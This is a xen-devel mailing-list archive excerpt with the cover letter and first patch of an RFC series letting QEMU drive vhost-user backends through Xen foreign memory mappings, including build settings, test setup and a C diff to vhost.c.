List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Cc:To:Content-Transfer-Encoding:MIME-Version:Message-Id:Date:Subject:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1782985643; x=1783590443; darn=lists.xenproject.org;
        h=cc:to:content-transfer-encoding:mime-version:message-id:date
         :subject:from:from:to:cc:subject:date:message-id:reply-to;
        bh=fKC1D1OsYzhuu2T5DhZS+ayo24Iqaetkzw1OMf9jA3M=;
        b=PK8X7hvSC/DNLjsOvSvgMjKIJnqJ0PX7MFOKTu8pVhqSgNFflqUHh9R3T8qg3aSoX6
         LWcBwMvqrSurAYPwLTr9pIUZHwCXBCsTsuEmtpwQs096eeoXcSbRGSmS+XN8hFRMf4UT
         dBt8fdMdWF+BhXfDa8yZ1iXbHKXkq4Y4LotnjNHVw7QIu6OLVqI4v9xE8dkNqy88FE+o
         x6UIeq5WuRRxSX8ztp8yQSW9pfF1pwsRV8rc0CWpda6uSWcVPG/ot+K9ETrpg38xawXU
         OXf05TmaAN1K/np1jwutEfok8YdfY28uOYNK9/l6AUlAq46lLQKr2oeGiJxnXN5QuS/6
         NTvg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782985643; x=1783590443;
        h=cc:to:content-transfer-encoding:mime-version:message-id:date
         :subject:from:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to;
        bh=fKC1D1OsYzhuu2T5DhZS+ayo24Iqaetkzw1OMf9jA3M=;
        b=Z0iKEbH+zZWiMjhmpFJK/8OgKy5drRZjQqiLebAN2UfrqYUh5yPvDSZdKM9LgRaQB+
         eM4IGvX2SMgbqpRoEJ92lcNAajpQ6Ylr24sIFSD+wgOEOJewDY2qY2bO/nR2rc6HElFV
         ekRLecshxEFHAMrmA4C8YFZz1QwTdFvEWBN+3nd3rbAjoERAvlSolGDKkDcoPq2n/vJW
         jTcX1X96b3nm2ohuRX1pHABreWBJxGDzc7gOLLWexFAd1kVzjB4M3/XGSTCyjOZ9g5HL
         dCQ73OBuU1NH+1DQO3MremWOtHBkqdr8dqOXTV9qed/ByXIMHAioBqrMaxE+ALnU/sPy
         BYsw==
X-Forwarded-Encrypted: i=1; AFNElJ84cRpXPwmO3jhXo7iiSHoN5D1wIB1n0Hqt3/bzs/akpmHFCBCEpvQeM+h7HHlm2MferiknFhOYbrw=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwHj0fmLbNDukEGWWLtG2GLCcJq5mfND/MZTqptqOLTv6f2KY+0
	9XORYSyI9ooA0txM13SX+wYbq75udiP4rK692WT64zKxeTpx7Pf5ZHZt
X-Gm-Gg: AfdE7cnx43GUJtNT0qx+LYtg/6YrAqtm9EEqBf1qZHRizu72AqXWRJDwk0yO+z+Rppk
	uqXf8KOIpXtw7wWANMqcCSTJPz/klGvPQUWMEh/O1XhaeXD8CB45K0DRxEohNvn+fIpq8tmqMMu
	nsrNyhM12wt3b1Raqn2cUXwZnRBKtLHKH8/zKDZByW2Q0xTCY8jGjOdFZmaPi+O2Q+7V3+zN7ct
	d5VsXApN6isxE9Zj32J6i1ubdQi0W2q4uO85in5ZF8cPs1LqYyRWbosQP/vq1QLYGt+8OhJms9K
	3xazoT/o/oUhtU+2sUuDGW8JNk4Vg+c5gpmDAgRClrRZBYpA3E3MvCAT7X651aKEJ4ukT1vc3Bv
	saFxEzIKSp8Ya31c/Vk9bW2idm8Ng+0Wbb/JRtn/ElaaJn2G2dkxhGGvqMBmGf98z6qTiUt+O0C
	2xkR7oj+KetP+2hriGGDn5rb9X+PTmqgtmnAT/ZeXJHw==
X-Received: by 2002:a05:600c:8b30:b0:493:bdaf:83a7 with SMTP id 5b1f17b1804b1-493c83a5b75mr4322745e9.28.1782985642521;
        Thu, 02 Jul 2026 02:47:22 -0700 (PDT)
From: Dusan Stojkovic <stojkovicdusan555@gmail.com>
Subject: [PATCH RFC v3 0/2] vhost-user: support Xen foreign memory mappings
Date: Thu, 02 Jul 2026 11:46:11 +0200
Message-Id: <20260702-vhost-xen-foreign-mapping-v3-0-2b8ef913382b@rt-rk.com>
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-B4-Tracking: v=1; b=H4sIAGMzRmoC/43NTQqDMBAF4KtI1p2SRJNoV4VCD9Bt6cKfUUMxk
 USCRbx7Q1auSpdvHvO9jXh0Gj25ZBtxGLTX1sSQnzLSjrUZEHQXM+GUSypZCWG0foEVDfTWoR4
 MTPU8azNAR3nelqJpFJUk/s8Oe70m+0ke9xt5xeOo/WLdJ+0Flqo/6MCAguolrSUvWKXY1S3g3
 ufWTkkN/CDx6pfEo8QqLGQpUAkljtK+719pMItFEQEAAA==
To: qemu-devel@nongnu.org
Cc: "Michael S. Tsirkin" <mst@redhat.com>, 
 Stefano Garzarella <sgarzare@redhat.com>, 
 Stefano Stabellini <sstabellini@kernel.org>, 
 Anthony PERARD <anthony@xenproject.org>, 
 "Edgar E. Iglesias" <edgar.iglesias@gmail.com>, 
 xen-devel@lists.xenproject.org, Viresh Kumar <viresh.kumar@linaro.org>, 
 Dusan Stojkovic <Dusan.Stojkovic@rt-rk.com>, 
 Nikola Jelic <Nikola.Jelic@rt-rk.com>
X-Mailer: b4 0.13.0
X-purgate-ID: tlsNG-33051d/1782985643-05B345D1-9B66165D/0/0
X-purgate-type: clean
X-purgate-size: 7723

This series lets QEMU, when running as a Xen device model, drive
vhost-user backends that map guest memory through the Xen foreign
mapping interface, implementing the front-end side of
VHOST_USER_PROTOCOL_F_XEN_MMAP. The protocol extension itself is
already documented in docs/interop/vhost-user.rst (feature bit 17,
extended memory region description) and implemented by rust-vmm's
vhost / vm-memory crates and the vhost-device backends built on them.
 
The problem this solves: under Xen the guest's RAM is not allocated by
QEMU and is not backed by a file descriptor. memory_region_get_fd()
returns -1, so vhost_section() filters out every RAM section, the vhost
memory listener registers no regions, and starting any vhost-user
device fails with "Failed initializing vhost-user memory map". With
F_XEN_MMAP the backend maps guest memory itself.

The protocol requires one file descriptor per region in SET_MEM_TABLE.
Guest RAM under Xen has no backing fd, so the front-end opens
/dev/xen/privcmd per region purely to satisfy that requirement; the
backend derives the mapping from guest_phys_addr + domid and never
reads the fd. Each fd is closed once the message has been sent.

This patchset was rebased onto the new vhost_phys_vring_addr infrastructure 
and extends vhost_user_gpa_addresses() so that negotiated
F_XEN_MMAP (bit 17), not F_GPA_ADDRESSES (bit 21, which the backend doesn't 
advertise), drives GPA addressing for both rings and userspace_addr.

The two patches:
  1/2  accept the Xen RAM section in vhost_section()
  2/2  negotiate F_XEN_MMAP and build SET_MEM_TABLE from the extended
       region layout. 
Testing:
Tested on Xen/ARM64 with a DomU using virtio-mmio transports created
by the xenpvh machine, running vhost-device-sound (rust-vmm, built
with the "xen" feature) as the backend in dom0. The device negotiates,
receives the memory table and ring addresses, and the guest's
virtio-snd driver probes and operates.

Non-Xen / x86 KVM: vhost-user-snd backed by
vhost-device-sound (null backend) on a q35/KVM guest. The device
negotiates, the guest virtio-snd driver probes and runs the control and
PCM paths, and the SET_MEM_TABLE and vring-address traffic is identical
to a build without this series confirming the
non-Xen path is unchanged.

The control message exchange between the frontend and backend was
tracked using sockdump as was described in:
Making VirtIO sing - implementing virtio-sound in rust-vmm project
|-> at FOSDEM 2024

Setup:
The main part of the xl config this enables:
virtio = [
 'backend=0,type=virtio,device,transport=mmio,grant_usage=false'
]

device_model_args = [
 ...
 '-chardev', 'socket,id=snd_chardev,path=/tmp/snd.sock',
 '-device', 'vhost-user-snd,chardev=snd_chardev,id=snd,iommu_platform=true',
 ...
]

Xen 4.22-unstable was used with:
 -enable-IOREQ_SERVER 
 -enable-EXPERT

An extra patch was added to xen-tools.
Namely, xen tools will request a pv device drive type for ARM64 but 
qemu expects pvh. This is a known issue:
github.com/Xilinx/xen/commit/5f669949c9ffdb1947cb47038956b5fb8eeb072a

Qemu master was used configured with the following flags:
    --target-list=aarch64-softmmu \
    --cross-prefix=aarch64-linux-gnu- \
    --enable-xen \
    --enable-vhost-user \
    --extra-cflags="-I$XEN-TOOLS/usr/local/include" \
    --extra-ldflags="-L$XEN-TOOLS/usr/local/lib -Wl,
        -rpath-link,$XEN-TOOLS/usr/local/lib" \

Likewise for x86:
    --target-list=aarch64-softmmu \
    --enable-slirp \
    --enable-xen \
    --enable-vhost-user \
    --enable-virtfs \

Linux version 6.11.7 was used with extra configuration flags:
* For enabling Xen Dom0/DomU support
* For enabling virtio (mmio, snd, etc.)
* For enabling sockdump features (BPF, IKHEADERS, KPROBE, etc.)
* Extra debug flags (DEBUG_FS, etc.)

vhost-device commit-id:
    c3bb658ef4fe20a2f264dbbbbc6fa19f1c08c0c5
    
    Was used built with:
    --features alsa-backend,xen

Importantly in vhost-device-scmi/src/vhu_scmi.rs:

// QUEUE_SIZE must be apparently at least 1024 for MMIO.
// There is probably a maximum size per descriptor defined in the kernel.
const QUEUE_SIZE: usize = 1024;

A similar change was made to make mmio work in vhost-user-sound device,
bumping QUEUE_SIZE to 1024.

Without this frontend and backend will fail to negotiate queue size.

Scope and known limitations:
* Foreign mappings only. Grant mappings are not supported: vhost's
  section tracking derives a host pointer for each region, which is
  invalid for the grant pseudo-region, and per-access grant mapping
  needs a different region description (GRANT | no-advance-map). Patch
  1 rejects the xen.grants region explicitly. Setting grant_usage=true
  does not change the qemu<->backend vhost-user exchange.
 
* VHOST_USER_PROTOCOL_F_CONFIGURE_MEM_SLOTS is suppressed under Xen:
  the ADD/REM_MEM_REG path has not been converted to the extended
  region format, and Xen guests currently expose a single RAM region,
  so SET_MEM_TABLE is sufficient. Multiple RAM regions are not yet
  exercised. Postcopy is refused.

* Spec vs reference implementation: docs/interop/vhost-user.rst
  describes the "can not be mapped in advance" xen-mmap flag as Bit 8
  (value 0x100), whereas rust-vmm's vm-memory uses 0x8 (bit 3,
  MmapXenFlags::NO_ADVANCE_MAP). This series uses neither, but the
  discrepancy probably wants resolving in the spec. Viresh, which is
  intended -- bit position 8 or value 0x8?

* userspace_addr is carried unchanged in the region descriptor; under
  Xen it does not correspond to a mapping and backends do not
  interpret it. An alternative would be to define it (e.g. mirror
  guest_phys_addr).

Open questions:
- userspace_addr semantics under Xen: leave it unchanged, or define it?
- Multi-region support: convert ADD/REM_MEM_REG to the extended layout
  rather than suppressing CONFIGURE_MEM_SLOTS?
- Grant-mapping support: worth pursuing, and what region-description
  shape do backends expect?
- Updating vhost-device-sound to reflect the mmio support.

References:
- vhost-user spec, F_XEN_MMAP / extended memory region / xen mmap flags:
  docs/interop/vhost-user.rst
- rust-vmm vm-memory MmapXenFlags (FOREIGN=0x1, GRANT=0x2,
  NO_ADVANCE_MAP=0x8): src/mmap/xen.rs
- Making VirtIO sing - implementing virtio-sound in rust-vmm project
|-> at FOSDEM 2024

Signed-off-by: Dusan Stojkovic <Dusan.Stojkovic@rt-rk.com>
Signed-off-by: Nikola Jelic <Nikola.Jelic@rt-rk.com>
---
Changes in v3:
- Rebased onto current master
- Fixed semantic error in vhost_section comment
- Link to v2: https://lore.kernel.org/qemu-devel/20260629-vhost-xen-foreign-mapping-v2-0-19e4685e7575@rt-rk.com

Changes in v2:
- Rebased onto current master
- Cover letter: removed a rust-vmm hunk which made the git am
  on Patchview fail. The reference is now mentioned in a sentance.
- Link to v1:
  https://lore.kernel.org/qemu-devel/20260618-vhost-xen-foreign-mapping-v1-0-7f60a6241971@rt-rk.com

---
Dusan Stojkovic (2):
      vhost: accept Xen guest RAM sections for vhost-user
      vhost-user: implement VHOST_USER_PROTOCOL_F_XEN_MMAP

 hw/virtio/trace-events         |   2 +
 hw/virtio/vhost-user.c         | 120 +++++++++++++++++++++++++++++++++++++++--
 hw/virtio/vhost.c              |  18 +++++++
 hw/xen/xen_stubs.c             |   5 ++
 include/hw/virtio/vhost-user.h |   2 +-
 5 files changed, 143 insertions(+), 4 deletions(-)
---
base-commit: 30e8a06b64aa58a3990ba39cb5d09531e7d265e0
change-id: 20260618-vhost-xen-foreign-mapping-d023c85bb706

Best regards,
-- 
Dusan Stojkovic <Dusan.Stojkovic@rt-rk.com>



From xen-devel-bounces@lists.xenproject.org Thu Jul 02 09:47:31 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 09:47:31 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351517.1608681 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfE11-0003zg-Cr; Thu, 02 Jul 2026 09:47:27 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351517.1608681; Thu, 02 Jul 2026 09:47:27 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfE11-0003zZ-9r; Thu, 02 Jul 2026 09:47:27 +0000
Received: by outflank-mailman (input) for mailman id 1351517;
 Thu, 02 Jul 2026 09:47:26 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <stojkovicdusan555@gmail.com>) id 1wfE10-0003mp-Dq
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 09:47:26 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfE0z-00DHuU-7Z
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 11:47:25 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <stojkovicdusan555@gmail.com>)
 id 6a463395-bab6-0a2a0a5309dd-0a2a4507b6fc-44
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 11:47:25 +0200
Received: from [209.85.221.51] (helo=mail-wr1-f51.google.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <stojkovicdusan555@gmail.com>)
 id 6a4633ac-9c8e-0a2a45070019-d155dd33a968-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 11:47:25 +0200
Received: by mail-wr1-f51.google.com with SMTP id
 ffacd0b85a97d-4720f3bf164so186008f8f.1
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 02:47:25 -0700 (PDT)
Received: from RTRKN1313-LIN.domain.local ([89.216.37.146])
 by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-477db8a4a15sm7539152f8f.14.2026.07.02.02.47.22
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Thu, 02 Jul 2026 02:47:24 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Cc:To:In-Reply-To:References:Message-Id:Content-Transfer-Encoding:MIME-Version:Subject:Date:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1782985644; x=1783590444; darn=lists.xenproject.org;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :mime-version:subject:date:from:from:to:cc:subject:date:message-id
         :reply-to;
        bh=BHsFCClOErBCb2hCTW5Kdx5hfrAxpl2r1lI9X/xFrPM=;
        b=ITmOfOavKJQSNtGMR+RLZvrYCDrxTxb3AUuhd/0VvvyaHZVIqPDS9qRr/S+hLpkL9D
         /XO0wJKGXeJUJRZ3h3zURv77ws5Aj2iS819OLKOITpGLGbMja8lECXReJFxR/K6juqL7
         3C8VlmHGQaAy7Nw5cRs0TLdinIfx3lMfdqy49G2NuaDm1Ms9Z1bNjmKOiCquRL9gFG4U
         LopsGbWiIRGzEEKWEjCpRwE4E5QDNkegvexGieyfJpCmyZ6Wc289J3iuWyC1/XhqQWTw
         sHew7LmEnN30dXv0HhWjebNxOjyaBPids0LJKEIHCPXN2vs9m0mLMQfT5ou1gPmllkVu
         q8Uw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782985644; x=1783590444;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :mime-version:subject:date:from:x-gm-gg:x-gm-message-state:from:to
         :cc:subject:date:message-id:reply-to;
        bh=BHsFCClOErBCb2hCTW5Kdx5hfrAxpl2r1lI9X/xFrPM=;
        b=eqm2ne+C41bzLTg9V7AOfq7dfHs1L41BPnbncOR58SlIA30p6IDFWNKbzgYDZEpbh3
         Ai9wF5MU4ZtJ3lsSI6YcWyiYN/k02YyiqwehiANyEHaA5h9KlaqIU+3Tm2mftHYshf5X
         h0ZK4XG17tNe/Ah2y4c/xWDic21cu+Gcl0X9YQmN8npOLmHlQWRVLEylzk1l0cdzmFua
         Rhrf2/5ySIILszqXqALpx4RimN55xJZrB7Uk3aDYSQ08uWxRExPEe86eFYNEu9655t/U
         e1yTg5HI+BfAv4gQIds5Q6oyzZuc6wfvLVY8svWJUeCrhI4LwQ3eAGB+B0srdc76X+tF
         g8Vg==
X-Forwarded-Encrypted: i=1; AHgh+RpkPPzCltjP74RsT8YgvqwcJGOcF/dvzNqO9+mgFk7pKnYjaZ7jqklGQLfiAyhoxrT30RMWNWdkoz8=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzE+tHTkMG7uxP4ZhFNerldfUOYZob/gLY0AjCgfeII3q9TZIg5
	YnNaKN0I0sWhnQVo1R1Oc+/yww/GGuE2T5W5CRxqLg9K25MLXfdD801s
X-Gm-Gg: AfdE7cn5WoxBF86mu5m44DpbXiyn6SD7qVeR5uy39U1gg5VivjGJ0b9rDKLdIF7q+HE
	d1chUS7eVOnlO4zbggXNPEE/IImSnTZj9xG8fFvP7Pu6LVYIBD2meORvEuHfZ0mGzdk41Tb9rgd
	5j0s4wtRllILB+cFFTeVygkM0UjaOjRhlBwRFIBWeM/3WscSI5jAWyNuGdqkMuFYOcOnCEqegKF
	rmvYdGeNMSfGV/kSZgMvLc092ts0jRJdzBsh7eSGX8RC2phiU58fh08dbustyZewZsZn5zxbIJY
	rHx2Trey51xDS/41dhm3I4doX28U/CoXqpobRxP7JubaJiNbIStMmbTVVZ6p3QQk52PPZK1Sw92
	/5DkgjOlHSGzUhocnqAAce96ehjqLOjaK93dIrLqqdigyTzXCakFtjb5Ifdct4pJIXfg+cQVxxK
	VMPAf/GH/Efk4dAdZwJJVgJM2XdGjHO3mhIrQ+9FRAuQ==
X-Received: by 2002:a05:6000:290f:b0:46f:9026:4971 with SMTP id ffacd0b85a97d-475de54e175mr13729534f8f.11.1782985644267;
        Thu, 02 Jul 2026 02:47:24 -0700 (PDT)
From: Dusan Stojkovic <stojkovicdusan555@gmail.com>
Date: Thu, 02 Jul 2026 11:46:12 +0200
Subject: [PATCH RFC v3 1/2] vhost: accept Xen guest RAM sections for
 vhost-user
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260702-vhost-xen-foreign-mapping-v3-1-2b8ef913382b@rt-rk.com>
References: <20260702-vhost-xen-foreign-mapping-v3-0-2b8ef913382b@rt-rk.com>
In-Reply-To: <20260702-vhost-xen-foreign-mapping-v3-0-2b8ef913382b@rt-rk.com>
To: qemu-devel@nongnu.org
Cc: "Michael S. Tsirkin" <mst@redhat.com>, 
 Stefano Garzarella <sgarzare@redhat.com>, 
 Stefano Stabellini <sstabellini@kernel.org>, 
 Anthony PERARD <anthony@xenproject.org>, 
 "Edgar E. Iglesias" <edgar.iglesias@gmail.com>, 
 xen-devel@lists.xenproject.org, Viresh Kumar <viresh.kumar@linaro.org>, 
 Dusan Stojkovic <Dusan.Stojkovic@rt-rk.com>, 
 Nikola Jelic <Nikola.Jelic@rt-rk.com>
X-Mailer: b4 0.13.0
X-purgate-ID: tlsNG-ef75cf/1782985645-FF33F25E-264A153B/0/0
X-purgate-type: clean
X-purgate-size: 3365

From: Dusan Stojkovic <Dusan.Stojkovic@rt-rk.com>

When QEMU runs as a Xen device model, the guest's RAM is not allocated
by QEMU and is not backed by a file descriptor that could be shared
with a vhost-user backend: accesses from QEMU go through the Xen
mapcache and memory_region_get_fd() returns -1. vhost_section()
therefore filters out every RAM section, the vhost memory listener
registers no regions, and starting any vhost-user device fails with
"Failed initializing vhost-user memory map".

With VHOST_USER_PROTOCOL_F_XEN_MMAP the backend does not need an fd or
a process-local mapping it maps guest memory itself through the Xen
foreign mapping interface, using the guest physical address and domain
id. Accept the Xen RAM region in vhost_section() so that it reaches
the backend's memory table.

The Xen grant region (xen.grants) must never be accepted: grant
references can only be mapped individually on demand via
address_space_map(), and deriving a host pointer for the whole region,
as vhost_region_add_section() does, aborts in the Xen mapcache. Note
that xen_mr_is_memory() returns true for both the RAM and the grants
region, so the grants region is excluded explicitly.

Because of the necessity to exlude xen.grants, the missing stub for
xen_mr_is_grants is added so that it can be called from common code.

Signed-off-by: Dusan Stojkovic <Dusan.Stojkovic@rt-rk.com>
Signed-off-by: Nikola Jelic <Nikola.Jelic@rt-rk.com>
---
 hw/virtio/vhost.c  | 18 ++++++++++++++++++
 hw/xen/xen_stubs.c |  5 +++++
 2 files changed, 23 insertions(+)

diff --git a/hw/virtio/vhost.c b/hw/virtio/vhost.c
index af41841b52..ffc692b3e2 100644
--- a/hw/virtio/vhost.c
+++ b/hw/virtio/vhost.c
@@ -29,6 +29,7 @@
 #include "system/dma.h"
 #include "system/memory.h"
 #include "system/ramblock.h"
+#include "system/xen.h"
 #include "trace.h"
 
 /* enabled until disconnected backend stabilizes */
@@ -657,6 +658,23 @@ static bool vhost_section(struct vhost_dev *dev, MemoryRegionSection *section)
             return false;
         }
 
+        /*
+         * Under Xen, the guest's RAM is not backed by an fd that
+         * can be passed to a vhost-user backend.  The backend
+         * instead maps guest memory through the Xen foreign mapping
+         * interface, by guest physical address and domain id (see
+         * VHOST_USER_PROTOCOL_F_XEN_MMAP), so accept the Xen RAM
+         * region even though it has no fd.
+         */
+        if (xen_enabled()) {
+            if (xen_mr_is_memory(mr) && !xen_mr_is_grants(mr)) {
+                trace_vhost_section(mr->name);
+                return true;
+            }
+            trace_vhost_reject_section(mr->name, 4);
+            return false;
+        }
+
         /*
          * Some backends (like vhost-user) can only handle memory regions
          * that have an fd (can be mapped into a different process). Filter
diff --git a/hw/xen/xen_stubs.c b/hw/xen/xen_stubs.c
index f830768d99..7af39bceb0 100644
--- a/hw/xen/xen_stubs.c
+++ b/hw/xen/xen_stubs.c
@@ -29,6 +29,11 @@ bool xen_mr_is_memory(const MemoryRegion *mr)
     g_assert_not_reached();
 }
 
+bool xen_mr_is_grants(const MemoryRegion *mr)
+{
+    g_assert_not_reached();
+}
+
 bool xen_map_cache_enabled(void)
 {
     return false;

-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Thu Jul 02 09:47:31 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 09:47:31 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351518.1608690 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfE15-0004Eq-LH; Thu, 02 Jul 2026 09:47:31 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351518.1608690; Thu, 02 Jul 2026 09:47:31 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfE15-0004Ee-HL; Thu, 02 Jul 2026 09:47:31 +0000
Received: by outflank-mailman (input) for mailman id 1351518;
 Thu, 02 Jul 2026 09:47:30 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <stojkovicdusan555@gmail.com>) id 1wfE14-0004Dm-Oq
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 09:47:30 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfE14-00DI0b-4w
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 11:47:30 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <stojkovicdusan555@gmail.com>)
 id 6a4633ad-bab6-0a2a0a5309dd-0a2a4502a6dc-20
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 11:47:30 +0200
Received: from [209.85.221.45] (helo=mail-wr1-f45.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <stojkovicdusan555@gmail.com>)
 id 6a4633ae-5a27-0a2a45020019-d155dd2df0fe-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 11:47:26 +0200
Received: by mail-wr1-f45.google.com with SMTP id
 ffacd0b85a97d-4763b0c1dcdso1632335f8f.2
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 02:47:26 -0700 (PDT)
Received: from RTRKN1313-LIN.domain.local ([89.216.37.146])
 by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-477db8a4a15sm7539152f8f.14.2026.07.02.02.47.24
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Thu, 02 Jul 2026 02:47:26 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Cc:To:In-Reply-To:References:Message-Id:Content-Transfer-Encoding:Content-Type:MIME-Version:Subject:Date:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1782985646; x=1783590446; darn=lists.xenproject.org;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :content-type:mime-version:subject:date:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=ylBpQ0bt/QK9zQ9BEMnv21TmNMn+xhUv/pb6/Do4RGs=;
        b=Ff1iX/hV73wsQ6BINWM9CpYruivuosCueau4Yv4HSs0BKcCQv9Y8fqJmf8964YuLhx
         ydu8XxV65ETj4EVw/9Zj/kFRcwGHp0r62C5jIBWaBkClP5vPtWkxXu+iLpbGwSjAMu0b
         tVLtszB4W6A2877XPSCCJkFrU9+5iUGEodRMeS8uWd0mKlf1cOWKv1YYE2Ms1o82DO4K
         MT/RTa+h6byM0cxmLuiPgmWtvWhFd4MGdukvppcZkEwNQTkKamTB1mMlAvctGrhC+ni5
         Tv1cfIgqM5WD/B29p0Bt3jxFcYMiLlqslggb2X1zmb08jhHwZS9Y8yENVPr67e54nUQr
         Qujw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782985646; x=1783590446;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :content-type:mime-version:subject:date:from:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=ylBpQ0bt/QK9zQ9BEMnv21TmNMn+xhUv/pb6/Do4RGs=;
        b=AmvXrLJh+n0lOvp/ZcADQwcpy+hZL7n47uk6P6yhSPRXdhior11qpzSUwXHnLNA/0W
         PAz74Pu09VAMCSL28rGrpJFxqXAUMA8aK7lFVCnJ8jdwt9RzSU8YLqP/grZoQt2Q0yW0
         yvNtSlkq0CQDz7jcM3t7h9SNr201nrXGNyaW/3IpObKOzzFEpWZ1b6bajnJQ8457GJin
         /WZgUfHcz6nZvo9n/kBbEq+esaVqd/41T4W/fK9fEUgAtjdATA3VSHBCt4P85aLvKN55
         0rkz3LNoaoywpNO+CoMq8KDJ1m7d7vlfXEtoPZOSznZPVOpab9kfbKA/oBMqf8FB9pDf
         Utvg==
